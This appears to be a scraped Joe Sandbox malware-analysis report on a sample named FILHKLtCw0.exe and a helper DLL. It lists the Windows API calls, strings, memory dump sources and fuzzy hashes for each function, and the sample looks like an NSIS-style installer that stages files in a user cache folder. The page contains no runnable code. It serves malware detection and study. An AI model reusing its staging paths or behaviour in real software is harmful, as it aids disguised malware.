Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$Call
API String ID: 2624150263-2957766633
Opcode ID: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2872673692.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2872653525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872698277.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872715437.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FILHKLtCw0.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 0040686A Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction ID: 1644c94297a6e2d1b4e9f0aeee9f0c77f66fc5de92a1577942f5ef847e7267c5
Opcode Fuzzy Hash: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction Fuzzy Hash: 8DE17A7190070ADFDB24CF58C890BAAB7F5FB45305F15892EE497A7291D738AAA1CF04

Function 00407041 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4e7e9ca0714fd30891db9328173e30945d26479923c7842d5bcb9add60bdfbdd
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: 4BC14931E04219DBDF18CF68C4905EEB7B2BF98314F25826AD8567B384D7346A42CF95

Function 004042B6 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040451D

Strings

N, xrefs: 00404452
-B@, xrefs: 004044C2
Call, xrefs: 00404493
open, xrefs: 004044C5

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$Call$N$open
API String ID: 3615053054-1446803726
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\FILHKLtCw0.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

NUL, xrefs: 00405D8D
[Rename], xrefs: 00405E65, 00405E77
%ls=%ls, xrefs: 00405DF1

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004062E9 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\FILHKLtCw0.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,"C:\Users\user\Desktop\FILHKLtCw0.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004062EA
"C:\Users\user\Desktop\FILHKLtCw0.exe", xrefs: 0040632D
*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\FILHKLtCw0.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-4097076149
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,759223A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(000740BA,00000064,000740BE), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Strings

Calibri, xrefs: 00401DB7

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 100022D0 Relevance: 9.1, APIs: 6, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Memory Dump Source

Source File: 00000000.00000002.2872673692.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2872653525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872698277.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872715437.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

